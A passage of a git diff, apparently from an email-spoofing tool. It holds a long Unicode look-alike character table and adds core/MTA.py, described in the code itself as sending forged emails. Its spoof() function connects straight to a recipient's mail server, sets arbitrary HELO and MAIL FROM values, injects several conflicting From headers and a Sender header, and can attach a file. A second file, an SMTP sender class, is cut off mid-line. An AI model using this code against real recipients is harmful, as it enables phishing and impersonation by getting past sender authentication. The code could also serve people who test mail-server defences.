01A0 +OE 004F +Œ 0152 +OO 004F +Ꝏ A74E +Ꚙ A698 +O̸ 004F +Ø 00D8 +ⵁ 2D41 +Ó̸ 004F +Ǿ 01FE +P 0050 +Ρ 03A1 +Р 0420 +Ꮲ 13E2 +ᑭ 146D +Ⲣ 2CA2 +ꓑ A4D1 +𐊕 10295 +P FF30 +ℙ 2119 +𝐏 1D40F +𝑃 1D443 +𝑷 1D477 +𝒫 1D4AB +𝓟 1D4DF +𝔓 1D513 +𝕻 1D57B +𝖯 1D5AF +𝗣 1D5E3 +𝘗 1D617 +𝙋 1D64B +𝙿 1D67F +𝚸 1D6B8 +𝛲 1D6F2 +𝜬 1D72C +𝝦 1D766 +𝞠 1D7A0 +P' 0050 +ᑭᑊ 146D +Ꮲ' 13E2 +ᑭ' 146D +ᒆ 1486 +P· 0050 +p· 0070 +pᐧ 0070 +Ꮲ· 13E2 +ᑭ· 146D +ᑭᐧ 146D +ᑷ 1477 +Q 0051 +ⵕ 2D55 +ℚ 211A +𝐐 1D410 +𝑄 1D444 +𝑸 1D478 +𝒬 1D4AC +𝓠 1D4E0 +𝔔 1D514 +𝕼 1D57C +𝖰 1D5B0 +𝗤 1D5E4 +𝘘 1D618 +𝙌 1D64C +𝚀 1D680 +QE 0051 +🜀 1F700 +R 0052 +Ʀ 01A6 +Ꭱ 13A1 +Ꮢ 13D2 +ᖇ 1587 +ꓣ A4E3 +𖼵 16F35 +𝈖 1D216 +𐒴 104B4 +ℛ 211B +ℜ 211C +ℝ 211D +𝐑 1D411 +𝑅 1D445 +𝑹 1D479 +𝓡 1D4E1 +𝕽 1D57D +𝖱 1D5B1 +𝗥 1D5E5 +𝘙 1D619 +𝙍 1D64D +𝚁 1D681 +Rs 0052 +₨ 20A8 +S 0053 +Ѕ 0405 +Տ 054F +Ꮥ 13D5 +Ꮪ 13DA +ꓢ A4E2 +𐊖 10296 +𐐠 10420 +𖼺 16F3A +S FF33 +𝐒 1D412 +𝑆 1D446 +𝑺 1D47A +𝒮 1D4AE +𝓢 1D4E2 +𝔖 1D516 +𝕊 1D54A +𝕾 1D57E +𝖲 1D5B2 +𝗦 1D5E6 +𝘚 1D61A +𝙎 1D64E +𝚂 1D682 +T 0054 +Τ 03A4 +Т 0422 +Ꭲ 13A2 +Ⲧ 2CA6 +ꓔ A4D4 +𐊗 10297 +𐊱 102B1 +𐌕 10315 +𖼊 16F0A +⊤ 22A4 +⟙ 27D9 +🝨 1F768 +𑢼 118BC +T FF34 +𝐓 1D413 +𝑇 1D447 +𝑻 1D47B +𝒯 1D4AF +𝓣 1D4E3 +𝔗 1D517 +𝕋 1D54B +𝕿 1D57F +𝖳 1D5B3 +𝗧 1D5E7 +𝘛 1D61B +𝙏 1D64F +𝚃 1D683 +𝚻 1D6BB +𝛵 1D6F5 +𝜯 1D72F +𝝩 1D769 +𝞣 1D7A3 +T3 0054 +TƷ 0054 +Ꜩ A728 +TEL 0054 +℡ 2121 +T̈ 0054 +Ꭲ̈ 13A2 +ꓔ̈ A4D4 +⊤̈ 22A4 +⍡ 2361 +T̨ 0054 +Ʈ 01AE +T̩ 0054 +Т̩ 0422 +Ҭ 04AC +T̵ 0054 +Ŧ 0166 +T̸ 0054 +Ⱦ 023E +T⃫ 0054 +Т⃫ 0422 +₮ 20AE +U 0055 +ሀ 1200 +Ս 054D +ᑌ 144C +ꓴ A4F4 +𖽂 16F42 +∪ 222A +⋃ 22C3 +𑢸 118B8 +𐓎 104CE +𝐔 1D414 +𝑈 1D448 +𝑼 1D47C +𝒰 1D4B0 +𝓤 1D4E4 +𝔘 1D518 +𝕌 1D54C +𝖀 1D580 +𝖴 1D5B4 +𝗨 1D5E8 +𝘜 1D61C +𝙐 1D650 +𝚄 1D684 +U' 0055 +ᑌᑊ 144C +ሀ' 1200 +ᑌ' 144C +ᑧ 1467 +U+= 0055 +U+〓 0055 +U· 0055 +ሀ· 1200 +ᑌ· 144C +ᑌᐧ 144C +ᑘ 1458 +U̵ 0055 +U̶ 0055 +Ʉ 0244 +Ꮜ 13CC +V 0056 +٧ 0667 +۷ 06F7 +Ѵ 0474 +Ꮩ 13D9 +ᐯ 142F +ⴸ 2D38 +ꓦ A4E6 +ꛟ A6DF +𖼈 16F08 +𝈍 1D20D +𐔝 1051D +𑢠 118A0 +Ⅴ 2164 +𝐕 1D415 +𝑉 1D449 +𝑽 1D47D +𝒱 1D4B1 +𝓥 1D4E5 +𝔙 1D519 +𝕍 1D54D +𝖁 1D581 +𝖵 1D5B5 +𝗩 1D5E9 +𝘝 1D61D +𝙑 1D651 +𝚅 1D685 +VB 0056 +🝬 1F76C +VI 0056 +Vl 0056 +Ⅵ 2165 +VII 0056 +Vll 0056 +Ⅶ 2166 +VIII 0056 +Vlll 0056 +Ⅷ 2167 +V· 0056 +٧· 0667 +ᐯ· 142F +ᐯᐧ 142F +ᐻ 143B +V̵ 0056 +V̶ 0056 +𐆗 10197 +Vᷤ 0056 +🜈 1F708 +W 0057 +Ԝ 051C +Ꮃ 13B3 +Ꮤ 13D4 +ꓪ A4EA +𑣦 118E6 +𑣯 118EF +𝐖 1D416 +𝑊 1D44A +𝑾 1D47E +𝒲 1D4B2 +𝓦 1D4E6 +𝔚 1D51A +𝕎 1D54E +𝖂 1D582 +𝖶 1D5B6 +𝗪 1D5EA +𝘞 1D61E +𝙒 1D652 +𝚆 1D686 +W̵ 0057 +W̶ 0057 +₩ 20A9 +X 0058 +Χ 03A7 +Х 0425 +ᚷ 16B7 +Ⲭ 2CAC +ⵝ 2D5D +ꓫ A4EB +𐊐 10290 +𐊴 102B4 +𐌗 10317 +᙭ 166D +╳ 2573 +𐌢 10322 +𐔧 10527 +𑣬 118EC +Ꭓ A7B3 +Ⅹ 2169 +X FF38 +𝐗 1D417 +𝑋 1D44B +𝑿 1D47F +𝒳 1D4B3 +𝓧 1D4E7 +𝔛 1D51B +𝕏 1D54F +𝖃 1D583 +𝖷 1D5B7 +𝗫 1D5EB +𝘟 1D61F +𝙓 1D653 +𝚇 1D687 +𝚾 1D6BE +𝛸 1D6F8 +𝜲 1D732 +𝝬 1D76C +𝞦 1D7A6 +XI 0058 +Xl 0058 +Ⅺ 216A +XII 0058 +Xll 0058 +Ⅻ 216B +X̩ 0058 +Х̩ 0425 +Ҳ 04B2 +X̵ 0058 +X̶ 0058 +𐆖 10196 +Y 0059 +Υ 03A5 +У 0423 +Ү 04AE +Ꭹ 13A9 +Ꮍ 13BD +Ⲩ 2CA8 +ꓬ A4EC +𐊲 102B2 +𖽃 16F43 +𑢤 118A4 +Y FF39 +ϒ 03D2 +𝐘 1D418 +𝑌 1D44C +𝒀 1D480 +𝒴 1D4B4 +𝓨 1D4E8 +𝔜 1D51C +𝕐 1D550 +𝖄 1D584 +𝖸 1D5B8 +𝗬 1D5EC +𝘠 1D620 +𝙔 1D654 +𝚈 1D688 +𝚼 1D6BC +𝛶 1D6F6 +𝜰 1D730 +𝝪 1D76A +𝞤 1D7A4 +Y̵ 0059 +У̵ 0423 +Ү̵ 04AE +Ɏ 024E +Ұ 04B0 +¥ 00A5 +Z 005A +Ζ 0396 +Ꮓ 13C3 +ꓜ A4DC +𑢩 118A9 +𑣥 118E5 +𐋵 102F5 +Z FF3A +ℤ 2124 +ℨ 2128 +𝐙 1D419 +𝑍 1D44D +𝒁 1D481 +𝒵 1D4B5 +𝓩 1D4E9 +𝖅 1D585 +𝖹 1D5B9 +𝗭 1D5ED +𝘡 1D621 +𝙕 1D655 +𝚉 1D689 +𝚭 1D6AD +𝛧 1D6E7 +𝜡 1D721 +𝝛 1D75B +𝞕 1D795 +Z̦ 005A +Z̧ 005A +Ȥ 0224 +Z̵ 005A +Ƶ 01B5 +\ 005C +丶 4E36 +∖ 2216 +⟍ 27CD +⧵ 29F5 +⧹ 29F9 +㇔ 31D4 +𝈏 1D20F +𝈻 1D23B +⼂ 2F02 +﹨ FE68 +\ FF3C +\\ 005C +⑊ 244A +⳹ 2CF9 +\ᑕ 005C +\⊂ 005C +⟈ 27C8 +^ 005E +ˆ 02C6 +˄ 02C4 +_ 005F +ߺ 07FA +﹍ FE4D +﹎ FE4E +﹏ FE4F +a 0061 +ɑ 0251 +α 03B1 +а 0430 +⍺ 237A +a FF41 +𝐚 1D41A +𝑎 1D44E +𝒂 1D482 +𝒶 1D4B6 +𝓪 1D4EA +𝔞 1D51E +𝕒 1D552 +𝖆 1D586 +𝖺 1D5BA +𝗮 1D5EE +𝘢 1D622 +𝙖 1D656 +𝚊 1D68A +𝛂 1D6C2 +𝛼 1D6FC +𝜶 1D736 +𝝰 1D770 +𝞪 1D7AA +a/c 0061 +ᵃ/c 1D43 +ᵃ⁄c 1D43 +℀ 2100 +a/s 0061 +ᵃ/ₛ 1D43 +ᵃ⁄ₛ 1D43 +℁ 2101 +aa 0061 +ꜳ A733 +ae 0061 +ае 0430 +æ 00E6 +ӕ 04D5 +ao 0061 +ꜵ A735 +au 0061 +ꜷ A737 +av 0061 +ꜹ A739 +ꜻ A73B +ay 0061 +ꜽ A73D +a̲ 0061 +ɑ̲ 0251 +α̲ 03B1 +⍶ 2376 +b 0062 +Ƅ 0184 +Ь 042C +Ꮟ 13CF +ᑲ 1472 +ᖯ 15AF +𝐛 1D41B +𝑏 1D44F +𝒃 1D483 +𝒷 1D4B7 +𝓫 1D4EB +𝔟 1D51F +𝕓 1D553 +𝖇 1D587 +𝖻 1D5BB +𝗯 1D5EF +𝘣 1D623 +𝙗 1D657 +𝚋 1D68B +b' 0062 +ᑲᑊ 1472 +ᑲ' 1472 +ᒈ 1488 +bl 0062 +Ьl 042C +Ь1 042C +ЬІ 042C +Ы 042B +b· 0062 +ᑲ· 1472 +ᑲᐧ 1472 +ᑿ 147F +b̄ 0062 +Ƃ 0182 +ƃ 0183 +Б 0411 +ḃ 0062 +ᑳ 1473 +ḃ· 0062 +ᑳ· 1473 +ᑳᐧ 1473 +ᒁ 1481 +b̔ 0062 +ɓ 0253 +b̵ 0062 +Ь̵ 042C +ƀ 0180 +ҍ 048D +Ҍ 048C +Ѣ 0462 +ѣ 0463 +c 0063 +ᴄ 1D04 +с 0441 +ⲥ 2CA5 +𐐽 1043D +ꮯ ABAF +ⅽ 217D +c FF43 +ϲ 03F2 +𝐜 1D41C +𝑐 1D450 +𝒄 1D484 +𝒸 1D4B8 +𝓬 1D4EC +𝔠 1D520 +𝕔 1D554 +𝖈 1D588 +𝖼 1D5BC +𝗰 1D5F0 +𝘤 1D624 +𝙘 1D658 +𝚌 1D68C +c/o 0063 +ᶜ/₀ 1D9C +ᶜ⁄₀ 1D9C +℅ 2105 +c/u 0063 +ᶜ/ᵤ 1D9C +ᶜ⁄ᵤ 1D9C +℆ 2106 +c̦ 0063 +с̦ 0441 +с̡ 0441 +ҫ 04AB +ç 00E7 +c̸ 0063 +ȼ 023C +¢ 00A2 +d 0064 +ԁ 0501 +Ꮷ 13E7 +ᑯ 146F +ꓒ A4D2 +ⅾ 217E +ⅆ 2146 +𝐝 1D41D +𝑑 1D451 +𝒅 1D485 +𝒹 1D4B9 +𝓭 1D4ED +𝔡 1D521 +𝕕 1D555 +𝖉 1D589 +𝖽 1D5BD +𝗱 1D5F1 +𝘥 1D625 +𝙙 1D659 +𝚍 1D68D +d' 0064 +ᑯᑊ 146F +ᑯ' 146F +ᒇ 1487 +dz 0064 +ʣ 02A3 +dz 01F3 +d· 0064 +ᑯ· 146F +ᑯᐧ 146F +ᑻ 147B +dž 0064 +dž 01C6 +dȝ 0064 +dʒ 0064 +ʤ 02A4 +dʑ 0064 +ʥ 02A5 +d̄ 0064 +ƌ 018C +d̔ 0064 +ɗ 0257 +d̢ 0064 +d̨ 0064 +ɖ 0256 +d̵ 0064 +đ 0111 +ḏ̵ 0064 +đ̱ 0111 +₫ 20AB +e 0065 +е 0435 +ҽ 04BD +℮ 212E +ꬲ AB32 +e FF45 +ℯ 212F +ⅇ 2147 +𝐞 1D41E +𝑒 1D452 +𝒆 1D486 +𝓮 1D4EE +𝔢 1D522 +𝕖 1D556 +𝖊 1D58A +𝖾 1D5BE +𝗲 1D5F2 +𝘦 1D626 +𝙚 1D65A +𝚎 1D68E +ę 0065 +е̨ 0435 +ҽ̢ 04BD +ҿ 04BF +e̷ 0065 +e̸ 0065 +ɇ 0247 +f 0066 +ẝ 1E9D +ք 0584 +ꞙ A799 +ꬵ AB35 +ſ 017F +𝐟 1D41F +𝑓 1D453 +𝒇 1D487 +𝒻 1D4BB +𝓯 1D4EF +𝔣 1D523 +𝕗 1D557 +𝖋 1D58B +𝖿 1D5BF +𝗳 1D5F3 +𝘧 1D627 +𝙛 1D65B +𝚏 1D68F +ff 0066 +ff FB00 +ffi 0066 +ffi FB03 +ffl 0066 +ffl FB04 +fi 0066 +fi FB01 +fl 0066 +fl FB02 +fŋ 0066 +ʩ 02A9 +f̡ 0066 +f̦ 0066 +ƒ 0192 +f̴ 0066 +ᵮ 1D6E +g 0067 +ƍ 018D +ɡ 0261 +ᶃ 1D83 +ց 0581 +g FF47 +ℊ 210A +𝐠 1D420 +𝑔 1D454 +𝒈 1D488 +𝓰 1D4F0 +𝔤 1D524 +𝕘 1D558 +𝖌 1D58C +𝗀 1D5C0 +𝗴 1D5F4 +𝘨 1D628 +𝙜 1D65C +𝚐 1D690 +g̔ 0067 +ɠ 0260 +g̵ 0067 +ǥ 01E5 +h 0068 +һ 04BB +հ 0570 +Ꮒ 13C2 +h FF48 +ℎ 210E +𝐡 1D421 +𝒉 1D489 +𝒽 1D4BD +𝓱 1D4F1 +𝔥 1D525 +𝕙 1D559 +𝖍 1D58D +𝗁 1D5C1 +𝗵 1D5F5 +𝘩 1D629 +𝙝 1D65D +𝚑 1D691 +h̔ 0068 +ɦ 0266 +Ᏺ 13F2 +ꚕ A695 +h̵ 0068 +һ̵ 04BB +ħ 0127 +ћ 045B +ℏ 210F +i 0069 +ı 0131 +ɩ 0269 +ɪ 026A +ι 03B9 +і 0456 +ӏ 04CF +Ꭵ 13A5 +ꙇ A647 +⍳ 2373 +𑣃 118C3 +ꭵ AB75 +ⅰ 2170 +i FF49 +ι 1FBE +ℹ 2139 +ⅈ 2148 +𝐢 1D422 +𝑖 1D456 +𝒊 1D48A +𝒾 1D4BE +𝓲 1D4F2 +𝔦 1D526 +𝕚 1D55A +𝖎 1D58E +𝗂 1D5C2 +𝗶 1D5F6 +𝘪 1D62A +𝙞 1D65E +𝚒 1D692 +𝚤 1D6A4 +𝛊 1D6CA +𝜄 1D704 +𝜾 1D73E +𝝸 1D778 +𝞲 1D7B2 +˛ 02DB +ͺ 037A +ii 0069 +ⅱ 2171 +iii 0069 +ⅲ 2172 +ij 0069 +ij 0133 +iv 0069 +ⅳ 2173 +ix 0069 +ⅸ 2178 +i̲ 0069 +ι̲ 03B9 +⍸ 2378 +i̵ 0069 +ɩ̵ 0269 +ɪ̵ 026A +ɨ 0268 +ᵻ 1D7B +ᵼ 1D7C +j 006A +ј 0458 +ϳ 03F3 +j FF4A +ⅉ 2149 +𝐣 1D423 +𝑗 1D457 +𝒋 1D48B +𝒿 1D4BF +𝓳 1D4F3 +𝔧 1D527 +𝕛 1D55B +𝖏 1D58F +𝗃 1D5C3 +𝗷 1D5F7 +𝘫 1D62B +𝙟 1D65F +𝚓 1D693 +j̵ 006A +ɉ 0249 +k 006B +𝐤 1D424 +𝑘 1D458 +𝒌 1D48C +𝓀 1D4C0 +𝓴 1D4F4 +𝔨 1D528 +𝕜 1D55C +𝖐 1D590 +𝗄 1D5C4 +𝗸 1D5F8 +𝘬 1D62C +𝙠 1D660 +𝚔 1D694 +k̔ 006B +ƙ 0199 +lj 006C +lj 01C9 +ls 006C +ʪ 02AA +lt 006C +₶ 20B6 +lz 006C +ʫ 02AB +lȝ 006C +lʒ 006C +ɮ 026E +l̢ 006C +l̨ 006C +ɭ 026D +l̴ 006C +ɫ 026B +l̷ 006C +l̸ 006C +ł 0142 +m 006D +rn 0072 +𑣣 118E3 +𑜀 11700 +ⅿ 217F +𝐦 1D426 +𝑚 1D45A +𝒎 1D48E +𝓂 1D4C2 +𝓶 1D4F6 +𝔪 1D52A +𝕞 1D55E +𝖒 1D592 +𝗆 1D5C6 +𝗺 1D5FA +𝘮 1D62E +𝙢 1D662 +𝚖 1D696 +m̡ 006D +rn̦ 0072 +ɱ 0271 +m̴ 006D +rn̴ 0072 +ᵯ 1D6F +m̷ 006D +rn̸ 0072 +₥ 20A5 +n 006E +ո 0578 +ռ 057C +𝐧 1D427 +𝑛 1D45B +𝒏 1D48F +𝓃 1D4C3 +𝓷 1D4F7 +𝔫 1D52B +𝕟 1D55F +𝖓 1D593 +𝗇 1D5C7 +𝗻 1D5FB +𝘯 1D62F +𝙣 1D663 +𝚗 1D697 +nj 006E +nj 01CC +n̢ 006E +n̨ 006E +ɳ 0273 +n̩ 006E +ƞ 019E +η 03B7 +𝛈 1D6C8 +𝜂 1D702 +𝜼 1D73C +𝝶 1D776 +𝞰 1D7B0 +n̴ 006E +ᵰ 1D70 +o 006F +ᴏ 1D0F +ᴑ 1D11 +ο 03BF +σ 03C3 +о 043E +օ 0585 +ס 05E1 +ه 0647 +٥ 0665 +ھ 06BE +ہ 06C1 +ە 06D5 +۵ 06F5 +० 0966 +੦ 0A66 +૦ 0AE6 +௦ 0BE6 +ం 0C02 +౦ 0C66 +ಂ 0C82 +೦ 0CE6 +ം 0D02 +ഠ 0D20 +൦ 0D66 +ං 0D82 +๐ 0E50 +໐ 0ED0 +ဝ 101D +၀ 1040 +ჿ 10FF +ⲟ 2C9F +𐐬 1042C +ꬽ AB3D +𑣈 118C8 +𑣗 118D7 +𐓪 104EA +o FF4F +ℴ 2134 +ﮦ FBA6 +ﮧ FBA7 +ﮨ FBA8 +ﮩ FBA9 +ﮪ FBAA +ﮫ FBAB +ﮬ FBAC +ﮭ FBAD +ﻩ FEE9 +ﻪ FEEA +ﻫ FEEB +ﻬ FEEC +𝐨 1D428 +𝑜 1D45C +𝒐 1D490 +𝓸 1D4F8 +𝔬 1D52C +𝕠 1D560 +𝖔 1D594 +𝗈 1D5C8 +𝗼 1D5FC +𝘰 1D630 +𝙤 1D664 +𝚘 1D698 +𝛐 1D6D0 +𝛔 1D6D4 +𝜊 1D70A +𝜎 1D70E +𝝄 1D744 +𝝈 1D748 +𝝾 1D77E +𝞂 1D782 +𝞸 1D7B8 +𝞼 1D7BC +𞸤 1EE24 +𞹤 1EE64 +𞺄 1EE84 +o' 006F +oʼ 006F +ơ 01A1 +oe 006F +œ 0153 +oo 006F +ꝏ A74F +∞ 221E +ꚙ A699 +ô 006F +ه̂ 0647 +ھٛ 06BE +ۿ 06FF +ơ 006F +ꭴ AB74 +o̵ 006F +o̶ 006F +о̵ 043E +ɵ 0275 +ꝋ A74B +ө 04E9 +ѳ 0473 +ꮎ AB8E +ꮻ ABBB +o̷ 006F +o̸ 006F +ø 00F8 +ꬾ AB3E +oج 006F +هج 0647 +ﱑ FC51 +ﳗ FCD7 +oم 006F +هم 0647 +ﱒ FC52 +ﳘ FCD8 +oمج 006F +همج 0647 +ﶓ FD93 +oمم 006F +همم 0647 +ﶔ FD94 +oى 006F +هى 0647 +هي 0647 +ﱓ FC53 +ﱔ FC54 +oٰ 006F +هٰ 0647 +ﳙ FCD9 +oരo 006F +ംരം 0D02 +൦ര൦ 0D66 +ൟ 0D5F +oာ 006F +ဝာ 101D +တ 1010 +oᴇ 006F +ɶ 0276 +p 0070 +ρ 03C1 +р 0440 +ⲣ 2CA3 +⍴ 2374 +p FF50 +ϱ 03F1 +𝐩 1D429 +𝑝 1D45D +𝒑 1D491 +𝓅 1D4C5 +𝓹 1D4F9 +𝔭 1D52D +𝕡 1D561 +𝖕 1D595 +𝗉 1D5C9 +𝗽 1D5FD +𝘱 1D631 +𝙥 1D665 +𝚙 1D699 +𝛒 1D6D2 +𝛠 1D6E0 +𝜌 1D70C +𝜚 1D71A +𝝆 1D746 +𝝔 1D754 +𝞀 1D780 +𝞎 1D78E +𝞺 1D7BA +𝟈 1D7C8 +p̔ 0070 +ƥ 01A5 +p̵ 0070 +ᵽ 1D7D +q 0071 +ԛ 051B +գ 0563 +զ 0566 +𝐪 1D42A +𝑞 1D45E +𝒒 1D492 +𝓆 1D4C6 +𝓺 1D4FA +𝔮 1D52E +𝕢 1D562 +𝖖 1D596 +𝗊 1D5CA +𝗾 1D5FE +𝘲 1D632 +𝙦 1D666 +𝚚 1D69A +q̔ 0071 +ʠ 02A0 +r 0072 +г 0433 +ᴦ 1D26 +ⲅ 2C85 +ꭇ AB47 +ꭈ AB48 +ꮁ AB81 +𝐫 1D42B +𝑟 1D45F +𝒓 1D493 +𝓇 1D4C7 +𝓻 1D4FB +𝔯 1D52F +𝕣 1D563 +𝖗 1D597 +𝗋 1D5CB +𝗿 1D5FF +𝘳 1D633 +𝙧 1D667 +𝚛 1D69B +r' 0072 +гˈ 0433 +г' 0433 +ґ 0491 +r̨ 0072 +ɽ 027D +r̩ 0072 +ɼ 027C +r̴ 0072 +ᵲ 1D72 +r̵ 0072 +г̵ 0433 +ɍ 024D +ғ 0493 +s 0073 +ƽ 01BD +ꜱ A731 +ѕ 0455 +𐑈 10448 +𑣁 118C1 +ꮪ ABAA +s FF53 +𝐬 1D42C +𝑠 1D460 +𝒔 1D494 +𝓈 1D4C8 +𝓼 1D4FC +𝔰 1D530 +𝕤 1D564 +𝖘 1D598 +𝗌 1D5CC +𝘀 1D600 +𝘴 1D634 +𝙨 1D668 +𝚜 1D69C +sss 0073 +🝜 1F75C +st 0073 +st FB06 +s̨ 0073 +ʂ 0282 +s̴ 0073 +ᵴ 1D74 +t 0074 +𝐭 1D42D +𝑡 1D461 +𝒕 1D495 +𝓉 1D4C9 +𝓽 1D4FD +𝔱 1D531 +𝕥 1D565 +𝖙 1D599 +𝗍 1D5CD +𝘁 1D601 +𝘵 1D635 +𝙩 1D669 +𝚝 1D69D +tf 0074 +ꝷ A777 +ts 0074 +ʦ 02A6 +tȝ 0074 +ꜩ A729 +tɕ 0074 +ʨ 02A8 +tʃ 0074 +ʧ 02A7 +t̔ 0074 +ƭ 01AD +t̴ 0074 +ᵵ 1D75 +t̵ 0074 +ŧ 0167 +u 0075 +ʋ 028B +ᴜ 1D1C +υ 03C5 +ս 057D +ꞟ A79F +ꭎ AB4E +ꭒ AB52 +𑣘 118D8 +𐓶 104F6 +𝐮 1D42E +𝑢 1D462 +𝒖 1D496 +𝓊 1D4CA +𝓾 1D4FE +𝔲 1D532 +𝕦 1D566 +𝖚 1D59A +𝗎 1D5CE +𝘂 1D602 +𝘶 1D636 +𝙪 1D66A +𝚞 1D69E +𝛖 1D6D6 +𝜐 1D710 +𝝊 1D74A +𝞄 1D784 +𝞾 1D7BE +ue 0075 +ᵫ 1D6B +uo 0075 +ꭣ AB63 +u̵ 0075 +ᴜ̵ 1D1C +ᵾ 1D7E +ꮜ AB9C +v 0076 +ᴠ 1D20 +ν 03BD +ט 05D8 +ѵ 0475 +∨ 2228 +⋁ 22C1 +𑣀 118C0 +ꮩ ABA9 +𑜆 11706 +ⅴ 2174 +v FF56 +𝐯 1D42F +𝑣 1D463 +𝒗 1D497 +𝓋 1D4CB +𝓿 1D4FF +𝔳 1D533 +𝕧 1D567 +𝖛 1D59B +𝗏 1D5CF +𝘃 1D603 +𝘷 1D637 +𝙫 1D66B +𝚟 1D69F +𝛎 1D6CE +𝜈 1D708 +𝝂 1D742 +𝝼 1D77C +𝞶 1D7B6 +vi 0076 +ⅵ 2175 +vii 0076 +ⅶ 2176 +viii 0076 +ⅷ 2177 +w 0077 +ɯ 026F +ᴡ 1D21 +ԝ 051D +ա 0561 +ѡ 0461 +ꮃ AB83 +𑜊 1170A +𑜎 1170E +𑜏 1170F +𝐰 1D430 +𝑤 1D464 +𝒘 1D498 +𝓌 1D4CC +𝔀 1D500 +𝔴 1D534 +𝕨 1D568 +𝖜 1D59C +𝗐 1D5D0 +𝘄 1D604 +𝘸 1D638 +𝙬 1D66C +𝚠 1D6A0 +ẇ 0077 +𑓅 114C5 +w̡ 0077 +w̦ 0077 +ꝡ A761 +w҃ 0077 +w҆҇ 0077 +ѡ҆҇ 0461 +ԝ҆҇ 051D +ѡ҃ 0461 +ԝ҃ 051D +ѽ 047D +x 0078 +х 0445 +ᕁ 1541 +ᕽ 157D +× 00D7 +᙮ 166E +⤫ 292B +⤬ 292C +⨯ 2A2F +ⅹ 2179 +x FF58 +𝐱 1D431 +𝑥 1D465 +𝒙 1D499 +𝓍 1D4CD +𝔁 1D501 +𝔵 1D535 +𝕩 1D569 +𝖝 1D59D +𝗑 1D5D1 +𝘅 1D605 +𝘹 1D639 +𝙭 1D66D +𝚡 1D6A1 +xi 0078 +ⅺ 217A +xii 0078 +ⅻ 217B +ẋ 0078 +×̇ 00D7 +⨰ 2A30 +y 0079 +ɣ 0263 +ʏ 028F +ᶌ 1D8C +ỿ 1EFF +γ 03B3 +у 0443 +ү 04AF +ყ 10E7 +ꭚ AB5A +𑣜 118DC +y FF59 +ℽ 213D +𝐲 1D432 +𝑦 1D466 +𝒚 1D49A +𝓎 1D4CE +𝔂 1D502 +𝔶 1D536 +𝕪 1D56A +𝖞 1D59E +𝗒 1D5D2 +𝘆 1D606 +𝘺 1D63A +𝙮 1D66E +𝚢 1D6A2 +𝛄 1D6C4 +𝛾 1D6FE +𝜸 1D738 +𝝲 1D772 +𝞬 1D7AC +y̔ 0079 +ƴ 01B4 +y̵ 0079 +у̵ 0443 +ү̵ 04AF +ɏ 024F +ұ 04B1 +z 007A +ᴢ 1D22 +𑣄 118C4 +ꮓ AB93 +𝐳 1D433 +𝑧 1D467 +𝒛 1D49B +𝓏 1D4CF +𝔃 1D503 +𝔷 1D537 +𝕫 1D56B +𝖟 1D59F +𝗓 1D5D3 +𝘇 1D607 +𝘻 1D63B +𝙯 1D66F +𝚣 1D6A3 +z̡ 007A +z̦ 007A +ȥ 0225 +z̢ 007A +z̨ 007A +ʐ 0290 +z̴ 007A +ᵶ 1D76 +z̵ 007A +ƶ 01B6 \ No newline at end of file diff --git a/core/MTA.py b/core/MTA.py new file mode 100755 index 0000000..943d8c4 --- /dev/null +++ b/core/MTA.py @@ -0,0 +1,116 @@ +# -*- coding: UTF-8 -*- +# the code to send forged emails as an MTA +import dns.resolver +from zio3 import * +from email import utils +from email.header import Header +import datetime +import time +from email import header, utils +from config import logger +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart + + +class Smtp: + def __init__(self, addr): + self.io = zio((addr, 25)) + self.io.readline() + + def cmd(self, msg): + self.cmdonly(msg) + return self.io.readline() + + def cmdonly(self, msg): + self.io.write(bytes((msg + '\r\n'), encoding="utf8")) + + def interact(self): + self.io.interact() + + +def get_email_domain(email): + at_pos = email.find("@") + if at_pos == -1: + logger.warn("from_email format is invalid") + return None + return email[at_pos + 1:] + + +def get_mx(domain): + try: + for x in dns.resolver.query(domain, 'MX'): + txt = x.to_text() + records = txt.split(" ") + return records[len(records) - 1] + except: + return None + + +def spoof(mail_from, to_email, subject, content, mime_from=None, mime_from1=None,mime_from2=None, sender=None, + helo=None,filename=None): + from_domain = get_email_domain(mail_from) + if from_domain is None: + logger.warn("Invalid FROM domain: " + mail_from) + + to_domain = get_email_domain(to_email) + if to_domain is None: + logger.warn("Invalid TO domain: " + to_email) + + mx_domain = get_mx(to_domain) + # print("mx_domain:",mx_domain) + # print("666") + if mx_domain is None: + logger.warn("Can't not resolve mx: " + to_domain) + + # start + smtp = Smtp(mx_domain) + + if not helo: + helo = from_domain + if helo: + smtp.cmd("HELO " + helo) + else: + smtp.cmd("HELO " + '') + smtp.cmd("MAIL FROM: <{}>".format(mail_from)) + smtp.cmd("RCPT TO: <" + to_email + ">") + smtp.cmd("DATA") + nowdt = datetime.datetime.now() + nowtuple = nowdt.timetuple() + nowtimestamp = time.mktime(nowtuple) + t = utils.formatdate(nowtimestamp) + msg = MIMEMultipart() + smtp.cmdonly("Date: {}".format(t)) + if mime_from1: + smtp.cmdonly("From: {}".format(mime_from1)) + smtp.cmdonly("From: {}".format(mime_from)) + if mime_from2: + smtp.cmdonly("From: {}".format(mime_from2)) + if sender: + smtp.cmdonly("Sender: {}".format(sender)) + smtp.cmdonly("To: <{}>".format(to_email)) + subject = Header(subject, "UTF-8").encode() + smtp.cmdonly("Subject: {}".format(subject)) + + msg['Date'] = t + msg['From'] = mime_from + msg['To'] = to_email + msg['Subject'] = subject + smtp.cmdonly('Content-Type: text/plain; charset="utf-8"') + smtp.cmdonly("MIME-Version: 1.0") + _attach = MIMEText(content, 'utf-8') + msg.attach(_attach) + if filename: + att1 = MIMEText(open('./uploads/'+filename, 'rb').read(), 'base64', 'utf-8') + att1["Content-Type"] = 'application/octet-stream' + att1["Content-Disposition"] = 'attachment; filename="{}"'.format(filename) + # content = msg.as_string()+att1.as_string() + msg.attach(att1) + # else: + # content = msg.as_string() + content = msg.as_string() + # smtp.cmdonly("") + smtp.cmdonly(content) + smtp.cmd(".") + smtp.cmd("quit") + smtp.interact() + diff --git a/core/SMTP.py b/core/SMTP.py new file mode 100755 index 0000000..1e3aa9b --- /dev/null +++ b/core/SMTP.py @@ -0,0 +1,166 @@ +# -*- coding: utf-8 -*- +import imaplib +from util import smtplib +from config import logger +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +from email.header import Header +from email.mime.image import MIMEImage + +""" +SMTP base class +""" + + +class SendMailDealer: + def __init__(self, user, passwd, smtp, port, usetls=True, debug_level=0, filename=None): + self.mailUser = user + self.mailPassword = passwd + self.smtpServer = smtp + self.smtpPort = int(port) + if self.smtpPort not in [25]: + self.useSSL = True + self.mailServer = smtplib.SMTP_SSL(self.smtpServer, self.smtpPort) + else: + 